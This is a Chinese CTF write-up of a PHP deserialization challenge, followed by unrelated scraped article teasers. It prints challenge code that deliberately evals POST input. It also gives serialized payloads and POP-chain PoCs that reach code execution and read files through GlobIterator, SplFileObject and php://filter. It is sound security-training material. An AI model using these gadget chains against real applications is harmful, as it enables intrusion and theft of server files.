2023愚人杯 )————被遗忘的反序列化

 <?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

获取txt文件

注释说有一个txt文件

找到这个

coos和file都是可控的 可以用php原生函数读取这个txt文件

GlobIterator类

GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径,即不需要依赖glob://协议。

但是想要触发__toString()方法还需要利用

所以初步的poc为

  class gBoBg
  {
    public $name = 1;
    public $file = './*.txt';
    public $coos = 'GlobIterator';
  }

  class w_wuw_w
  {
    public $aaa;
    public $key;
    public $file;
  }

 $a=new gBoBg();
 $b=new w_wuw_w();
 $b->aaa = $a;
echo serialize($b);
  

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}

这里的传参方式也很独特

$_SERVER["HTTP_AAAAAA"] 是 PHP 中用于获取 HTTP 请求头部信息中名为 "HTTP_AAAAAA" 的值。

在 Web 开发中,HTTP 请求头部信息包含了客户端(通常是浏览器)发送给服务器的额外信息,这些信息可以包括用户代理(User-Agent)、主机(Host)、来源(Referer)等。而 "HTTP_AAAAAA" 是一个自定义的请求头,其名称由开发者自行定义。

例如,如果客户端发送了一个请求,并且在请求头中包含了名为 "HTTP_AAAAAA" 的自定义信息,那么在 PHP 中可以通过 $_SERVER["HTTP_AAAAAA"] 来获取这个信息的值。

需要注意的是,请求头部信息是由客户端发送给服务器的,因此服务器端的应用程序(比如 PHP)可以使用 $_SERVER 超全局数组来获取这些信息。

所以传参方式是这样的

成功获取txt文件名

h1nt.txt

查看一下

#用于check.php

key:qwertyuiopasdfghjklzxcvbnm123456789

move:2-4

显而易见是凯撒

但是还要看check.php的值

这里虽然过滤了key 但是没有过滤file的值

然后让没有echo$key

但是有echo$aaa

只要让两个值相等就可以echo

构造poc

<?php

    class EeE
    {
     public $text;
    public $eeee;
    }

 class cycycycy
{
   public $a;
   private $b;
 }

 class gBoBg
  {
   public $name;
   public $file;
   public $coos;
  }

 class w_wuw_w
  {
 public $aaa;
 public $key = 2;
 public $file = 'check.php';
 }

$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa =& $b->key;
echo serialize($b);

注意这里的 两个变量相等要用指标符

使他们实际上指向同一个内存地址

(c语言学过忘的一干二净。。。。)

注意这里请求头这里有空格!!!!

然后得到check.php的内容

// 如果输入的字符串长度超过 10000,则终止程序执行并返回错误码 -1。这是一个长度限制的安全检查。
if(strlen($str) > 10000){
    exit(-1);
}

// 定义了一个字符集,包含小写字母和数字。这个字符集是加密和解密过程中使用的。
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";

// 定义了加密时的位移量,这里设置为 4。加密过程中,每个字符将会向左偏移 4 个位置。
$shift = 4;

// 定义了一个空字符串,用于存储加密后的结果。
$shifted = "";

// 使用 for 循环遍历输入字符串中的每个字符。
for ($i = 0; $i < strlen($str); $i++) {

    // 获取当前位置的字符。
    $char = $str[$i];

    // 查找当前字符在字符集中的位置。
    $pos = strpos($charset, $char);

    // 如果字符在字符集中,则执行下面的代码;否则,直接将字符添加到结果中。
    if ($pos !== false) {

        // 计算字符在字符集中新的位置,使用的是凯撒密码加密算法。
        // 这里,($pos - $shift + strlen($charset)) 表示将当前位置向左偏移 4 个位置,
        // 然后取模 strlen($charset) 来确保结果在字符集的范围内。
        $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);

        // 将加密后的字符追加到结果字符串中。
        $shifted .= $charset[$new_pos];
    } else {
        // 将字符添加到结果中。
        $shifted .= $char;
    }
}

// 返回加密后的结果字符串。
return $shifted;

得到加密规则

就是向左移动4位数

逆向一下就是要向右移动4位

爆破一下

def caesar_decrypt(ciphertext, shift):
    plaintext = ""
    alphabet = "qwertyuiopasdfghjklzxcvbnm123456789"
    for char in ciphertext:
        if char in alphabet:
            shifted_index = (alphabet.index(char) - shift) % len(alphabet)
            plaintext += alphabet[shifted_index]
        else:
            plaintext += char
    return plaintext

# 测试
ciphertext = input("请输入需要解密的密文:")
plaintext = caesar_decrypt(ciphertext, -4)
print("解密后的明文:", plaintext)

 fe1ka1ele1efp

得到这个

最后就是构造pop加传参

1 通过反序列化 w_wuw_w类 触发__destruct() 让$aaa=class gBoBg

从而触发gBoBg类里面的__toString()

2 gBoBg类里 让 name 值为空 file值存在 $aa=w_wuw_w() 从而触发w_wuw_w类里的__invoke()

3 w_wuw_w类 __invoke()里面克隆对象 触发EeE里面的__clone()

4 __clone()触发aaa属性 从而成功rce

poc

<?php

class EeE{
    public $text;
    public $eeee;
    
}

class cycycycy{
    public $a;
    private $b;

}

class gBoBg{
    public $name;
    public $file=1;
    public $coos;

}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
       

$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;

echo serialize($d);

payload

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}

非预期

看别人的wp h1nt.txt也是用原生类函数整出来的

我这里直接读取 虽然有回显但还是有乱码

我们用原生类函数读一下试试

用之前就了解过的 SplFileObject函数

但是之前那道题 有 echo

但是这题没有

就要用php伪协议读取

php://filter/convert.base64-encode/resource=h1nt.txt

poc

<?php
class gBoBg
  {
    public $name = 1;
    public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';
    public $coos = 'splfileobject';
  }

  class w_wuw_w
  {
    public $aaa;
    public $key;
    public $file;
  }

 $a=new gBoBg();
 $b=new w_wuw_w();
 $b->aaa = $a;
echo serialize($b);
  

base64解密

这样就不会乱码了

然后再好好了解一下php原生类函数(用于反序列化的)

php原生类函数(用于反序列化的)

读取文件类(SplFileObject)

进行目录遍历

DirectoryIterator和FilesystemIterator都需要用glob伪协议

GlobIterator自带glob就不需要了

回到刚才那题直接用原生函数遍历跟目录

可以直接找到flag的名字

 public $file = '/f*';
    public $coos = 'GlobIterator';

然后再用SplFileObject查看

    public $file = 'php://filter/convert.base64-encode/resource=/f1agaaa';
    public $coos = 'SplFileObject';

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/619819.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ansible -playbook运维工具、语法、数据结构、命令用法、触发器、角色

目录 配置文件 基本语法规则&#xff1a; YAML支持的数据结构 playbook核心元素 ansible-playbook用法&#xff1a; 触发器 特点&#xff1a; 角色&#xff1a; 习题&#xff1a; 配置文件 playbook配置文件使用yaml语法&#xff0c;YAML 是一门标记性语言,专门用来写配…

目标检测——印度车辆数据集

引言 亲爱的读者们&#xff0c;您是否在寻找某个特定的数据集&#xff0c;用于研究或项目实践&#xff1f;欢迎您在评论区留言&#xff0c;或者通过公众号私信告诉我&#xff0c;您想要的数据集的类型主题。小编会竭尽全力为您寻找&#xff0c;并在找到后第一时间与您分享。 …

C++中的complex

在 C 中&#xff0c;std::complex 是一个模板类&#xff0c;用于表示和操作复数。这个类是标准模板库&#xff08;STL&#xff09;的一部分&#xff0c;包含在 头文件中。std::complex 提供了一套丰富的功能&#xff0c;包括基本的算术运算、比较运算、数学函数等&#xff0c;使…

【微信小程序开发】flex布局在小程序开发项目中的应用详解

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

Hive JSON数据处理

Hive JSON数据处理 JSON&#xff08;JavaScript Object Notation&#xff09;文件格式是一种轻量级的数据交换格式&#xff0c;用于存储和传输结构化的数据。它基于JavaScript的语法&#xff0c;但是可以被多种编程语言所支持和解析&#xff0c;因此被广泛应用于各种场景。 J…

Spring Security 复盘

1、什么Spring Security&#xff1f; Spring Security 是一种强大的框架&#xff0c;它在 Spring 生态系统中扮演着保护应用安全的关键角色。Spring Security 基于 Spring 框架&#xff0c;提供了一套 Web 应用安全性的完整解决方案。 2、认证 和 授权 1.什么是认证&#xff1…

Python 全栈系列244 nginx upstream 负载均衡 踩坑日记

说明 最初是因为租用算力机(Python 全栈系列242 踩坑记录:租用算力机完成任务)&#xff0c;所以想着做一个负载均衡&#xff0c;然后多开一些服务&#xff0c;把配置写在nginx里面就好了。 一开始租用了一个3080起了一个服务&#xff0c;后来觉得速度不够快&#xff0c;再起了…

如何解决IntelliJ IDEA中pom.xml依赖项引发的安全漏洞黄线警告问题

背景 在开发过程中&#xff0c;当我们在pom.xml文件中添加依赖项时&#xff0c;经常会发现IntelliJ IDEA报出黄色警告线条&#xff0c;提示存在潜在的安全漏洞。警告的具体展现形式如下&#xff1a; 解决方案 首先&#xff0c;打开设置菜单界面&#xff0c;接着选择编辑器选…

【图解计算机网络】http1.1,http2.0,http3.0

http1.1&#xff0c;http2.0&#xff0c;http3.0 http1.1长连接管道传输缺点 http2.0头部压缩二进制格式并发传输服务端推送缺点 http3.0无队头阻塞快速建立连接连接迁移 http1.1 长连接 在http1.0的时候&#xff0c;一次http请求就要建立一次TCP连接&#xff0c;这一次的htt…

Vue3项目Easy云盘(二):文件列表+新建目录+文件重命名+文件上传

一、文件列表 1.封装全局组件Table.vue 因为Main.vue等都会用到文件列表table&#xff0c;所以直接封装成组件。 src/components/Table.vue <template><!-- 表格 --><div><el-tableref"dataTable":data"dataSource.list || []":h…

基于AIoTedge+ThingsKit物联网平台,实现办公室人员进出AI统计

在AIoT时代&#xff0c;智能办公已成为提升企业效率的关键。本期文章将带你了解如何利用AIoTedge结合ThingsKit物联网平台&#xff0c;实现办公室人员进出的智能统计。这不是简单的技术堆砌&#xff0c;而是一场关于AI与IoT融合的实战演示。&#x1f31f; 提示&#xff1a;AIoT…

【Linux】Centos7安装部署unimrcp,搭建MRCP服务器

yum install libtool yum install libtool-ltdl-devel yum install libsofia-sip-ua find / -name libsofia-sip-ua.so.0 2>/dev/null # 设置环境变量&#xff1a;如果库文件存在但不在默认搜索路径中&#xff0c;你可以通过设置 LD_LIBRARY_PATH 环境变量来告诉系统在哪…

Github学习

1.Git与Github 区别: Git是一个分布式版本控制系统&#xff0c;简单的说就是一个软件&#xff0c;用于记录一个或若干个文件内容变化&#xff0c;以便将来查阅特点版本修订情况的软件。 Github是一个为用户提高Git服务的网站&#xff0c;简单说就是一个可以放代码的地方。Gi…

数字化社会的引擎:揭示Facebook的影响力

在当今数字化社会中&#xff0c;社交媒体平台扮演着至关重要的角色&#xff0c;而Facebook作为其中的巨头之一&#xff0c;其影响力不可忽视。本文将深入探讨Facebook的影响力&#xff0c;从多个角度揭示其在数字化社会中的引擎作用。 1. 社交互动的核心平台 Facebook作为社交…

使用Python递归重命名文件和文件夹

使用 Python 递归重命名文件和文件夹可以通过 os 模块和 os.path 模块来完成。下面是一个示例代码&#xff0c;演示如何递归地重命名文件和文件夹&#xff1a; 1、问题背景 在研究大型数字档案时&#xff0c;需要将这些档案复制到本地存储进行保存。这些档案通常存储在 USB 驱…

【机器学习】LoFTR:革命性图像特征批评技术等领跑者

LoFTR&#xff1a;革命性图像特征匹配技术的领跑者 一、引言二、LoFTR技术的创新之处三、LoFTR技术的实现原理四、LoFTR技术的代码实例五、结语 一、引言 在3D计算机视觉领域&#xff0c;图像特征匹配技术一直是研究的热点和难点。随着技术的不断发展&#xff0c;传统的特征检…

力扣:48. 旋转图像(Java)

目录 题目描述&#xff1a;输入&#xff1a;输出&#xff1a;代码实现&#xff1a; 题目描述&#xff1a; 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要 使…

图神经网络实战(10)——归纳学习

图神经网络实战&#xff08;10&#xff09;——归纳学习 0. 前言1. 转导学习与归纳学习2. 蛋白质相互作用数据集3. 构建 GraphSAGE 模型实现归纳学习小结系列链接 0. 前言 归纳学习 (Inductive learning) 通过基于已观测训练数据&#xff0c;建立一个通用模型&#xff0c;使模…

Maven:Maven基础

Maven apache旗下的一个开源项目,一款用于管理和构建java项目的工具 什么是Maven 一个项目管理和构建工具,基于项目对象模型(POM)的概念,通过一小段描述信息来管理项目的构建,报告和文档. Maven的作用 依赖管理 方便快捷的管理项目依赖的资源jar包,避免版本冲突问题 统一…

C++的数据结构(四):队列

在数据结构中&#xff0c;队列&#xff08;Queue&#xff09;是一种特殊的线性表&#xff0c;只允许在表的前端&#xff08;front&#xff09;进行删除操作&#xff0c;而在表的后端&#xff08;rear&#xff09;进行插入操作。队列中没有元素时&#xff0c;称为空队列。队列的…